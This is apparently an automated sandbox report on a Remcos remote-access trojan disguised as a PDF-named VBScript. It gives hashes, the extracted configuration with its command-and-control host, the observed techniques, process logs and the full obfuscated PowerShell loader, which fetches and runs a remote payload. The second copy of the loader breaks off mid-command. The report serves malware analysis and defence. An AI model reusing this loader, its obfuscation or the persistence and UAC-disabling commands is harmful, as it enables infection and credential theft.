remcos | 4ee92a6f7eee02311151d4e57a6b22e18d610a214b4a6274ffd73d3ce7fdb759

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

412300061474·pdf.vbs
Size

16KB
MD5

66e9e95985918197cabcedecef2d981d
SHA1

4d3acf394fc1825d1f89905ff9950cfc297d813a
SHA256

4ee92a6f7eee02311151d4e57a6b22e18d610a214b4a6274ffd73d3ce7fdb759
SHA512

16efce7ecf0dae7fa63030b404ea60b2801119df2297b05ceba7b7ba0e3d90d3145b2e34f005a10deb78f50b2445498b2d9936f5c33582e0415160cfb8b6b6f9
SSDEEP

384:yMEYHgUWl/aKYbYHfQl3pngujAtHKeGEa47Yi+c:mYHgUWgKrHfSNgujAhGEhYi/

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution persistence rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

5nd42h78s.duckdns.org:3782

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-J5NDOL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/3936-177-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/528-172-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3172-117-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/528-172-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/3172-117-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
4	1676	WScript.exe
8	528	powershell.exe
12	528	powershell.exe
25	1220	msiexec.exe
27	1220	msiexec.exe
29	1220	msiexec.exe
31	1220	msiexec.exe
32	1220	msiexec.exe
36	1220	msiexec.exe
41	1220	msiexec.exe
42	1220	msiexec.exe
43	1220	msiexec.exe
45	1220	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

Processes:

Chrome.exeChrome.exemsedge.exemsedge.exeChrome.exeChrome.exemsedge.exemsedge.exemsedge.exe

pid	Process
684	Chrome.exe
3260	Chrome.exe
3048	msedge.exe
528	msedge.exe
4932	Chrome.exe
3632	Chrome.exe
2796	msedge.exe
4956	msedge.exe
2408	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spillebulers150 = "%Kinetogenesis% -windowstyle 1 $Nonunited=(gp -Path 'HKCU:\\Software\\Pelion\\').tilmeldende;%Kinetogenesis% ($Nonunited)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
528	powershell.exe
5092	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
7	drive.google.com
8	drive.google.com
25	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
1220	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
5092	powershell.exe
1220	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	Process	procid_target
PID 1220 set thread context of 3172	1220	msiexec.exe	115
PID 1220 set thread context of 528	1220	msiexec.exe	117
PID 1220 set thread context of 3936	1220	msiexec.exe	119

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.execmd.exereg.exemsiexec.exemsiexec.exemsiexec.execmd.exereg.exemsiexec.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exeChrome.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exe

pid	Process
5036	reg.exe
1708	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exeChrome.exemsiexec.exe

pid	Process
528	powershell.exe
528	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
3172	msiexec.exe
3172	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
4932	Chrome.exe
4932	Chrome.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
3936	msiexec.exe
3936	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
3172	msiexec.exe
3172	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
5092	powershell.exe
1220	msiexec.exe
1220	msiexec.exe
1220	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

msedge.exe

pid	Process
3048	msedge.exe
3048	msedge.exe
3048	msedge.exe
3048	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exemsiexec.exeChrome.exe

description	pid	Process
Token: SeDebugPrivilege	528	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	3936	msiexec.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe
Token: SeShutdownPrivilege	4932	Chrome.exe
Token: SeCreatePagefilePrivilege	4932	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

Chrome.exemsedge.exe

pid	Process
4932	Chrome.exe
3048	msedge.exe
3048	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
1220	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.execmd.exeChrome.exe

description	pid	Process	procid_target
PID 1676 wrote to memory of 528	1676	WScript.exe	83
PID 1676 wrote to memory of 528	1676	WScript.exe	83
PID 5092 wrote to memory of 1220	5092	powershell.exe	100
PID 5092 wrote to memory of 1220	5092	powershell.exe	100
PID 5092 wrote to memory of 1220	5092	powershell.exe	100
PID 5092 wrote to memory of 1220	5092	powershell.exe	100
PID 1220 wrote to memory of 1448	1220	msiexec.exe	101
PID 1220 wrote to memory of 1448	1220	msiexec.exe	101
PID 1220 wrote to memory of 1448	1220	msiexec.exe	101
PID 1448 wrote to memory of 5036	1448	cmd.exe	104
PID 1448 wrote to memory of 5036	1448	cmd.exe	104
PID 1448 wrote to memory of 5036	1448	cmd.exe	104
PID 1220 wrote to memory of 2968	1220	msiexec.exe	107
PID 1220 wrote to memory of 2968	1220	msiexec.exe	107
PID 1220 wrote to memory of 2968	1220	msiexec.exe	107
PID 2968 wrote to memory of 1708	2968	cmd.exe	109
PID 2968 wrote to memory of 1708	2968	cmd.exe	109
PID 2968 wrote to memory of 1708	2968	cmd.exe	109
PID 1220 wrote to memory of 4932	1220	msiexec.exe	110
PID 1220 wrote to memory of 4932	1220	msiexec.exe	110
PID 4932 wrote to memory of 3896	4932	Chrome.exe	111
PID 4932 wrote to memory of 3896	4932	Chrome.exe	111
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4328	4932	Chrome.exe	134
PID 4932 wrote to memory of 4484	4932	Chrome.exe	113
PID 4932 wrote to memory of 4484	4932	Chrome.exe	113
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114
PID 4932 wrote to memory of 3852	4932	Chrome.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\412300061474·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Histomorphological='Spisesituationer';;$Chieve='Conynge';;$Andenklasseskuphoers='Drivbnkenes';;$Juchart='Overbitterness205';;$Tyrannizer='Unbars';;$Subjektets=$host.Name;function Udkobles($raadmandsordning){If ($Subjektets) {$dogeysriarteaceae=4} for ($dogeys=$dogeysriarteaceae;;$dogeys+=5){if(!$raadmandsordning[$dogeys]) { break }$Tilbagesendtes+=$raadmandsordning[$dogeys]}$Tilbagesendtes}function Stberier($Revisionsinstitutter){ .($Boardingkortets) ($Revisionsinstitutter)}$Superangelic157=Udkobles 'SnakNCos eLu tT ban.MaalwPol eTre B ParCMikrlKoldIAdame DaaNAcutt';$Campanula15=Udkobles ' AntM.ykko AllzKontiMandlSpaclM taaKart/';$Backtender=Udkobles 'ArchTLydklsygesreve1Frem2';$Dampmaskiner=' Hos[,aniNrusseDenstIn.i.Elsks VageLam,rC lev ForIProlc UnpE PaspOve oB dnIBukpN ockTSykuMMa.iAErhvnOuseAKlunGMol e oinrForg] nr:refo: OvesRecoE Pecc AskU Feor,engIRadut .ecY HjepWaneR SelOTil TSuerONixicGlasoRdnilunde=Publ$ RemB,tolA VorcTwankBlabTSureeAandN PredAndeE GenR';$Campanula15+=Udkobles ' vol5Terr. ild0Bery ,ort(Her WK.ssiBlodnA tvdSprgo,utcwAbsosVel TillNNourTDisc Unsy1Apyr0Chil.Mant0Meta; ect NatuWSknhiAppen O e6Ove.4Nond; Dyr C loxT im6Malp4 Sky;Bank UnbrUnprv S,r:Port1Samm3Bra 1H lb.inds0Skrm)Preo ednG F re.hifcDispkTorcoudpo/Han.2Afsk0Siou1 Lid0Spen0 ja 1bev 0vili1blaa VieFUnp irnn.r ReneFis.fLnreoma rxTjen/ en1Over3Ut,l1.rbe.Impr0';$Katastrofale=Udkobles 'iod,UTro sOverE E oRw,en- PhoaKillg Ko eHemiNudv,T';$graylags=Udkobles ' Co.hDulytS altMocapNyctsVrd :immu/None/PromdNeverHypoiUnscvMisfe Ge .IllugSim,oDeceo G ygShorlInc eR qu.FeyncArbeoVoldm pis/ UdeuUnspcOdon? toueIsotxMelapF,nmou derFacetBjni=D nsdUnduoDul w Minn Dagl KaooGy,naStikdUdst&Pan iBismdBeto=,udy1GlatZDomin AllcmediOpl gLOpoeTF yvtPlakIMic,bRidsyD esxQ ohiSammi IdeL NonFst.aU SnbiN dsLAflelKassbBrug9AeroHHaan0F elCDeutpE gay PriMStarFsm kA LettEufoe outm';$Frigrelsestids=Udkobles 'gess>';$Boardingkortets=Udkobles ' SlyIRub,eMestX';$Sabelslugerne='Buksenederdel';$Ltemaskine20='\Patriarkernes.Sty';Stberier (Udkobles ',ste$ PowgMedll Preo Bu bBeskaLu cLTame: B fmSepaiRu,lN npgFa tl GlaeRankD Fa.LS,xoyPed 2ti,b0Dani5A to= Zin$KongeCycaNTi sVKron: ActaadjupTalepL.wbD ,kaa CheTBalaa oos+Vaas$ ,calN.netChane UnfmSl uaGuntSTrnakUnreiBr nNTeleELeer2 Ud,0');Stberier (Udkobles 'Se,i$Ta wgIndfL t sO LoaBMicrA MeglLder: ForgIndduLoo dDiskeTid,bsl giSalmLIn hL ,reECo dd nteeIncoRKlap=p lp$KatagKoboRAdskaSkriYC ulLPol a Pr,G CroSTilh.Ov rsFodfPKab L Bs,ISnu,TAfta( Hyd$Eparf UdpR De IMotegPrydrLimpeTamblOlisSUnd e Do.sEftetVensiDroud BooSY,gi)');Stberier (Udkobles $Dampmaskiner);$graylags=$Gudebilleder[0];$Faresernes=(Udkobles 'Frit$Wat.gLgeaL PerOAge,BMe.aaO enL Cal:FlanCM.duoExceND viVKy,ieGui.NHemitpostiGlycooph nFrikiKlkkSperiELyd =CochNOuttE ranWUnst- FloOKomeBDiedJVagaERebeCGratTC,rr .entSF,rly AflsDu atCounE Co.m Tit. Afs$ BoaSUdprUS bpPparaeHallrRibaa Me n Jo,g dslEWa.tLElemiUni,cStal1.fsl5Podz7');Stberier ($Faresernes);Stberier (Udkobles ' Gem$.wotC Ka o SubnJuvev StreAkt,nShoetLepiiAa eoTitanP.riiVandsa bue rer.GoalHGr,pe Anla RindP,tkeDiplrJustsHa t[ id$ForpKGaveasac,tStevaDes,s erhtLejer Sido Prof orlafrnvlRoseePeri]Gtes=Mand$Re,uCAgglaB lamSkadpHeara.idinVie uWondlSpekaV lk1 Wi,5');$Tvangsfodrer=Udkobles 'Retn$hjspCEroboNeapn ForvD mmeA,tinAmput iliiPe,ao tranFlagisrres Prie,gra.c,avDrhizooutbwLegenSikklNonco knaindvdEx,rFSulfiModtl SerePris( Aut$D aggP rirUfina enuyMet,l MeeaDorbgIntasEksk,Conc$ rheP rnehVeloeMoronTreva AllzVideo Boon LfleUnal)';$Phenazone=$Mingledly205;Stberier (Udkobles ' onc$O deGmisbLBortOSm.nBcopua afsLNepe: ilf.ubeoHavbR rejMFalse.allr radi BalNb usGEcuaEOmstRDo yn,artEK epsBagg=Over( AfbTtomle StaSDownTKaar- KonpDec As.antTradh,yve Tegn$ArmlpSam,hremieBeskNLandAFl nzAutoOBjrgnTrooETeks)');while (!$Formeringernes) {Stberier (Udkobles ' Qu.$ nreg arlSvamoSa ib,egea .holCera: RekDVi,iaQ aknOrgaeExplrAnson PoceBrass.met=Unds$ResuF.ommlBugsoBefotPerstBorteSport') ;Stberier $Tvangsfodrer;Stberier (Udkobles 'I.exSP astIndkAAu trNo atTils-ImpespolyLGallE O,teGastp pec cutu4');Stberier (Udkobles 'Impa$Fra gEv rlBowloLameBBegra Pe,Lt.dr:AssuF UniO entRPokimFiffeDaglRInveiScarnSubag KonERestROpb nMinaEmiscsKomm= man(OmprT roeForuSMicrTMeta-PrivpWhe,AFejlTPlouHH,xa Dil$EkspPDra.hSa.tEO spNI tra A.cZ H,iO Ildn,inuE I.f)') ;Stberier (Udkobles 'Gele$S atgMultlLok o,eboBCoscABalllAs.r: ataCN drLDelfIRsonnApneCFyreHp sti .isnMo.sGp.ea= Jor$ Pi.gRegeLAtelOBo,ib SotaRec LSlng:MajveFlers BirT BonhBorgEFulltSickOBastl konoKusig Tr.yoeso+ Fly+Deip% Sor$ CruGHaemuG,anDBredE,ivsBResuIforeLBek LMangeunskD SatESa eRS.ee. TutCSextoGrunuMadan noT') ;$graylags=$Gudebilleder[$Clinching]}$Sanseligheden=295843;$Ensilerendes=29834;Stberier (Udkobles 'Ufor$Zyg g M nl Rago KloBFilmAUskalKlud:GeraTMiljrExtrigaf CDi cHSelsIIndsnB llO ,ynSVaabeOutfDM,sa app=Sple Plu g.atee MtntMinu-C laCAntioCongNMgteTEfteESkrmnPar tTilb Tveb$UnfoPUnp hEstreHjl NreadaVeneZ .tno SunN isbe');Stberier (Udkobles 'Live$ U.sg En l BeroGimmb St a heelForr:CabbADextdGreevFustePaasr PrebGe,tiAlgeeForgr embnterreMac s P,p prot= St, Enda[ erS UdfyEjlas nomt FraeFodem,phr.P.enCSyncoTalenMadrv An,eMinir IditProb]Stea:Selv:kfteF OxarLi eo,ammmlugtB,ruiaAutosFraseHavb6Mot 4T anS.rohtGodsrSeg iInfanSimpgTi.i(T ri$BeewTDomsrA.aniThrocmoorhNoneiUn,enKa poHerhs FaceU dedReve)');Stberier (Udkobles 'Peni$AltaG BrolAnhnoHam B amfaForsL Com: ittpBadeEMe cC iniTTidsiSatis PilE lvssRegn1In.r4Tilk0 Lyd A,lv=Mic ius[Sop,Stri.yTrblsTeleTDuraEAdmimPycn.Su,ttDevieIndsXInset,iph.Eve,E InsnDesiCTolvOU dedHyali PavNOv,rG em]Ef e:Balu: MelA TauSUn.iCAfstiAggrIPsor.MarkG Mi e isttNympsSt rTconcrTilrIBrusN Or G Spi(lubr$EvenAK ydDRoomvSprjESil rJingBSysti Be.e eksRPersNLempe NorsDybd)');Stberier (Udkobles 'K ll$BiligAguiLSarkoKon,bSwieA Tytl L,g:ChapPKanoaGrn RDiptTNonbsGeophEy.fR taiCatmNBrusgCataSBo sr AveE.rikGO.kneMoselshire.imen Ted= Ihv$A.rrpReineUd.tcEnigtBi diminiSKu sERea SHemi1Spur4Ones0Sej..ExplSDarnU St.B A ssR erT iscRBud,ISh rN M sgAns,(Fnok$SgelSNavnaBersNAnacsKaskeP rsLbuckI.iscGSkidHKonje dgiDEssieUnfunCrue,Y.ru$ki,deScepn LacS NseiUndeLflageTilfrUrgeERygrNBes DRu eeminisKare)');Stberier $Partshringsregelen;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:528

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Histomorphological='Spisesituationer';;$Chieve='Conynge';;$Andenklasseskuphoers='Drivbnkenes';;$Juchart='Overbitterness205';;$Tyrannizer='Unbars';;$Subjektets=$host.Name;function Udkobles($raadmandsordning){If ($Subjektets) {$dogeysriarteaceae=4} for ($dogeys=$dogeysriarteaceae;;$dogeys+=5){if(!$raadmandsordning[$dogeys]) { break }$Tilbagesendtes+=$raadmandsordning[$dogeys]}$Tilbagesendtes}function Stberier($Revisionsinstitutter){ .($Boardingkortets) ($Revisionsinstitutter)}$Superangelic157=Udkobles 'SnakNCos eLu tT ban.MaalwPol eTre B ParCMikrlKoldIAdame DaaNAcutt';$Campanula15=Udkobles ' AntM.ykko AllzKontiMandlSpaclM taaKart/';$Backtender=Udkobles 'ArchTLydklsygesreve1Frem2';$Dampmaskiner=' Hos[,aniNrusseDenstIn.i.Elsks VageLam,rC lev ForIProlc UnpE PaspOve oB dnIBukpN ockTSykuMMa.iAErhvnOuseAKlunGMol e oinrForg] nr:refo: OvesRecoE Pecc AskU Feor,engIRadut .ecY HjepWaneR SelOTil TSuerONixicGlasoRdnilunde=Publ$ RemB,tolA VorcTwankBlabTSureeAandN PredAndeE GenR';$Campanula15+=Udkobles ' vol5Terr. ild0Bery ,ort(Her WK.ssiBlodnA tvdSprgo,utcwAbsosVel TillNNourTDisc Unsy1Apyr0Chil.Mant0Meta; ect NatuWSknhiAppen O e6Ove.4Nond; Dyr C loxT im6Malp4 Sky;Bank UnbrUnprv S,r:Port1Samm3Bra 1H lb.inds0Skrm)Preo ednG F re.hifcDispkTorcoudpo/Han.2Afsk0Siou1 Lid0Spen0 ja 1bev 0vili1blaa VieFUnp irnn.r ReneFis.fLnreoma rxTjen/ en1Over3Ut,l1.rbe.Impr0';$Katastrofale=Udkobles 'iod,UTro sOverE E oRw,en- PhoaKillg Ko eHemiNudv,T';$graylags=Udkobles ' Co.hDulytS altMocapNyctsVrd :immu/None/PromdNeverHypoiUnscvMisfe Ge .IllugSim,oDeceo G ygShorlInc eR qu.FeyncArbeoVoldm pis/ UdeuUnspcOdon? toueIsotxMelapF,nmou derFacetBjni=D nsdUnduoDul w Minn Dagl KaooGy,naStikdUdst&Pan iBismdBeto=,udy1GlatZDomin AllcmediOpl gLOpoeTF yvtPlakIMic,bRidsyD esxQ ohiSammi IdeL NonFst.aU SnbiN dsLAflelKassbBrug9AeroHHaan0F elCDeutpE gay PriMStarFsm kA LettEufoe outm';$Frigrelsestids=Udkobles 'gess>';$Boardingkortets=Udkobles ' SlyIRub,eMestX';$Sabelslugerne='Buksenederdel';$Ltemaskine20='\Patriarkernes.Sty';Stberier (Udkobles ',ste$ PowgMedll Preo Bu bBeskaLu cLTame: B fmSepaiRu,lN npgFa tl GlaeRankD Fa.LS,xoyPed 2ti,b0Dani5A to= Zin$KongeCycaNTi sVKron: ActaadjupTalepL.wbD ,kaa CheTBalaa oos+Vaas$ ,calN.netChane UnfmSl uaGuntSTrnakUnreiBr nNTeleELeer2 Ud,0');Stberier (Udkobles 'Se,i$Ta wgIndfL t sO LoaBMicrA MeglLder: ForgIndduLoo dDiskeTid,bsl giSalmLIn hL ,reECo dd nteeIncoRKlap=p lp$KatagKoboRAdskaSkriYC ulLPol a Pr,G CroSTilh.Ov rsFodfPKab L Bs,ISnu,TAfta( Hyd$Eparf UdpR De IMotegPrydrLimpeTamblOlisSUnd e Do.sEftetVensiDroud BooSY,gi)');Stberier (Udkobles $Dampmaskiner);$graylags=$Gudebilleder[0];$Faresernes=(Udkobles 'Frit$Wat.gLgeaL PerOAge,BMe.aaO enL Cal:FlanCM.duoExceND viVKy,ieGui.NHemitpostiGlycooph nFrikiKlkkSperiELyd =CochNOuttE ranWUnst- FloOKomeBDiedJVagaERebeCGratTC,rr .entSF,rly AflsDu atCounE Co.m Tit. Afs$ BoaSUdprUS bpPparaeHallrRibaa Me n Jo,g dslEWa.tLElemiUni,cStal1.fsl5Podz7');Stberier ($Faresernes);Stberier (Udkobles ' Gem$.wotC Ka o SubnJuvev StreAkt,nShoetLepiiAa eoTitanP.riiVandsa bue rer.GoalHGr,pe Anla RindP,tkeDiplrJustsHa t[ id$ForpKGaveasac,tStevaDes,s erhtLejer Sido Prof orlafrnvlRoseePeri]Gtes=Mand$Re,uCAgglaB lamSkadpHeara.idinVie uWondlSpekaV lk1 Wi,5');$Tvangsfodrer=Udkobles 'Retn$hjspCEroboNeapn ForvD mmeA,tinAmput iliiPe,ao tranFlagisrres Prie,gra.c,avDrhizooutbwLegenSikklNonco knaindvdEx,rFSulfiModtl SerePris( Aut$D aggP rirUfina enuyMet,l MeeaDorbgIntasEksk,Conc$ rheP rnehVeloeMoronTreva AllzVideo Boon LfleUnal)';$Phenazone=$Mingledly205;Stberier (Udkobles ' onc$O deGmisbLBortOSm.nBcopua afsLNepe: ilf.ubeoHavbR rejMFalse.allr radi BalNb usGEcuaEOmstRDo yn,artEK epsBagg=Over( AfbTtomle StaSDownTKaar- KonpDec As.antTradh,yve Tegn$ArmlpSam,hremieBeskNLandAFl nzAutoOBjrgnTrooETeks)');while (!$Formeringernes) {Stberier (Udkobles ' Qu.$ nreg arlSvamoSa ib,egea .holCera: RekDVi,iaQ aknOrgaeExplrAnson 